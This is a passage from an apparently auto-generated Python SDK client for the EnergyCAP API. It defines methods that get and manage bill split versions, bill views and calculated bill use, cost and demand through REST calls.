:param account_id: ID of the account to get all assigned bill split
versions
:type account_id: int
:param meter_id: ID of the meter to get all assigned bill split
versions
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_split_version_history.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_split_version_history.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/billSplit'}
def manage_bill_split_version_history(
self, account_id, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage a bill split's version history
All bill split versions to save on this account and meter relationship
should be passed
If versionId is passed, this version will be updated to the request
body values
If copyVersionId is passed, a new version will be created and all
instructions and inputs on the copyVersionId will be copied
If versionId and copyVersionId are null a new version will be created
Versions cannot overlap
If a bill split version currently exists in the database, but is not
passed in it will be deleted
Only versions that are not currently associated with any bills can be
deleted
If any part of the create, update, or delete process fails, the entire
process is rolled back.
:param account_id: ID of the account whose bill split versions will be
updated
:type account_id: int
:param meter_id: ID of the meter whose bill split versions will be
updated
:type meter_id: int
:param body: List of bill split distribution versions to add or edit
:type body: list[~energycap.sdk.models.DistributionVersionManage]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_bill_split_version_history.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[DistributionVersionManage]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_bill_split_version_history.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/billSplit'}
def get_bill_split_details(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get details for a bill split distribution.
:param account_id: ID of the account
:type account_id: int
:param meter_id: ID of the meter
:type meter_id: int
:param version_id: ID of the distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillSplitDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillSplitDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_split_details.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillSplitDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_split_details.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/billSplit/{versionId}'}
def manage_bill_split_details(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage details for a bill split distribution.
:param account_id: ID of the master account
:type account_id: int
:param meter_id: ID of the master meter
:type meter_id: int
:param version_id: ID of the version to update bill split details
:type version_id: int
:param body: Definition of details for bill split
:type body: ~energycap.sdk.models.BillSplitDetailsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillSplitDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillSplitDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_bill_split_details.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillSplitDetailsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillSplitDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_bill_split_details.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/billSplit/{versionId}'}
def get_bill_split_chargeback_task_by_version(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get all chargeback tasks with details for a specific version on an
account and meter.
:param account_id: ID of the account
:type account_id: int
:param meter_id: ID of the meter
:type meter_id: int
:param version_id: ID of the distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackTaskVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_split_chargeback_task_by_version.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackTaskVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_split_chargeback_task_by_version.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/billSplit/{versionId}/chargebackTask'}
def get_account_bill_split_parent_details(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Get bill split parent information for an account.
:param account_id: ID of the account
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillSplitParentDetailsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_bill_split_parent_details.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillSplitParentDetailsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_bill_split_parent_details.metadata = {'url': '/api/v3/account/{accountId}/billSplit/parent'}
def get_meter_bill_split_parent_details(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get bill split parent information for a meter.
:param meter_id: ID of the meter
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillSplitParentDetailsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_bill_split_parent_details.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillSplitParentDetailsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_bill_split_parent_details.metadata = {'url': '/api/v3/meter/{meterId}/billSplit/parent'}
def get_bill_view(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves properties for bill view.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillViewResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillViewResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_view.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillViewResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_view.metadata = {'url': '/api/v3/billView/{billId}'}
def get_calculated_bill_versions(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of calculated bill versions which match the provided filter
conditions.
:param filter: API filter string containing conditions
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculated_bill_versions.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_calculated_bill_versions.metadata = {'url': '/api/v3/calculatedBill'}
def get_calculated_bills(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get a list of calculated bill versions on a meter.
:param meter_id: ID of the meter to get all assigned calculated bill
versions
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculated_bills.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculated_bills.metadata = {'url': '/api/v3/meter/{meterId}/calculatedBill'}
def get_calculated_bill_version_history(
self, account_id, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get a list of calculated bill versions on this account and meter
relationship.
:param account_id: ID of the account to get all assigned calculated
bill versions
:type account_id: int
:param meter_id: ID of the meter to get all assigned calculated bill
versions
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculated_bill_version_history.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculated_bill_version_history.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill'}
def manage_calculated_bill_version_history(
self, account_id, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage a calculated bill's version history
All calculated bill versions to save on this account and meter
relationship should be passed
If versionId is passed, this version will be updated to the request
body values
If copyVersionId is passed, a new version will be created and all
instructions and inputs on the copyVersionId will be copied
If versionId and copyVersionId are null a new version will be created
Versions cannot overlap
If a calculated bill version currently exists in the database, but is
not passed in it will be deleted
Only versions that are not currently associated with any bills can be
deleted
If any part of the create, update, or delete process fails, the entire
process is rolled back.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param body: List of calculated bill distribution versions to add or
edit
:type body: list[~energycap.sdk.models.DistributionVersionManage]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_calculated_bill_version_history.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[DistributionVersionManage]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_calculated_bill_version_history.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill'}
def get_calculate_bill_details(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""All details related to calculated bill setup including use, cost, meter
line items, and account line items.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.CalculatedBillDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculate_bill_details.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculate_bill_details.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}'}
def manage_calculate_bill_use(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage calculated bill's use
* If use does not exist on the distribution it will be added
* If use already exists it will be saved as the option sent in and any
existing inputs will be deleted
* Since use is required for the calculated bill distribution to work,
one option is always required and cannot be deleted.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param body: Definition of how the meter will calculate its use
:type body: ~energycap.sdk.models.CalculatedBillUseRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillUseResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillUseResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_calculate_bill_use.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CalculatedBillUseRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillUseResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_calculate_bill_use.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/use'}
def get_calculate_bill_use(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get calculated use details.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillUseResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillUseResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculate_bill_use.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillUseResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculate_bill_use.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/use'}
def manage_calculate_bill_cost(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage calculated bill's cost
If cost does not exist on the distribution it will be added
If one exists it will be saved as the option sent in
Since cost is required for the calculated bill distribution to work.
One option is always required and cannot be deleted.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param body: Definition of how the meter will calculate its cost
:type body: ~energycap.sdk.models.CalculatedBillCostRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillCostResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillCostResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_calculate_bill_cost.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CalculatedBillCostRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillCostResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_calculate_bill_cost.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/cost'}
def get_calculate_bill_cost(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get calculated cost details.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillCostResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillCostResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculate_bill_cost.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillCostResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculate_bill_cost.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/cost'}
def manage_calculate_bill_demand(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage calculated bill's demand
If demand does not exist on the distribution it will be added
If one exists it will be saved as the option sent in
If the dto sends null for both (channel and fixed), then demand will
get cleared.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param body: Definition of how the meter will calculate its demand
:type body: ~energycap.sdk.models.CalculatedBillDemandRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillDemandResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillDemandResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_calculate_bill_demand.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CalculatedBillDemandRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillDemandResponse', response)
if raw:
